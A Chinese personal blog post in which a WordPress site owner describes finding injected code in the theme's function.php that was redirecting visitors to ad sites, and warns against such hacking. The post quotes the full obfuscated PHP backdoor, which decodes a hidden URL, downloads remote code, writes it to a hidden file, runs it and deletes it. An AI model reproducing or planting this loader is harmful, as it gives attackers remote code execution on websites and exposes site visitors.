WordPress网站被黑客广告劫持!

2021/12/06 21:46

前几天偶然发现Wordpress里的function.php里有一段奇怪的代码:

@include(‘ template-config.php ‘);

@ini_set(‘display_errors’, ‘0’);
error_reporting(0);

global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

$ea = ‘_shaesx_’; $ay = ‘get_data_ya’; $ae = ‘decode’; $ea = str_replace(‘_sha’, ‘bas’, $ea); $ao = ‘wp_cd’; $ee = $ea.$ae; $oa = str_replace(‘sx’, ’64’, $ee); $algo = ‘default’; $pass = “Zgc5c4MXrK0ubQgN4pBWZv2dPRfXN70cmCWIX7HVoQ==”;

if (!function_exists(‘get_data_ya’)) {
if (ini_get(‘allow_url_fopen’)) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}

if (!function_exists(‘wp_cd’)) {
function wp_cd($fd, $fa=””) {
$fe = “wp_frmfunct”;
$len = strlen($fd);
$ff = ”;
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack(‘H*’, sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
}

$reqw = $ay($ao($oa(“$pass”), ‘wp_function’));
preg_match(‘#gogo(.*)enen#is’, $reqw, $mtchs);
$dirs = glob(“*”, GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen(“$dira/.$algo”, ‘w’)) { $ura = 1; $eb = “$dira/”; $hdl = fopen(“$dira/.$algo”, ‘w’); break; }
$subdirs = glob(“$dira/*”, GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen(“$subdira/.$algo”, ‘w’)) { $ura = 1; $eb = “$subdira/”; $hdl = fopen(“$subdira/.$algo”, ‘w’); break; }
}
}
if (!$ura && fopen(“.$algo”, ‘w’)) { $ura = 1; $eb = ”; $hdl = fopen(“.$algo”, ‘w’); }
fwrite($hdl, “<?php\n$mtchs[1]\n?>”);
fclose($hdl);
include(“{$eb}.$algo”);
unlink(“{$eb}.$algo”);
$npDcheckClassBgp = ‘aue’;

$zeeta = “yup”;

}

这段代码就插入在function.php的第几行,怪不得我有时发现网站会跳转到一个广告网站呢。

还有前几天我发现upload文件夹下有很多多余的css和js文件,让我一个命令行都删除了。

都2021年了,还有人搞这么无聊的事情,其实已经有很多破坏别人计算机系统的人被判刑了。

手里有技术,还是干点正事比较好。总干坑人的事儿,早晚有栽跟头的一天。

发表回复

Back to top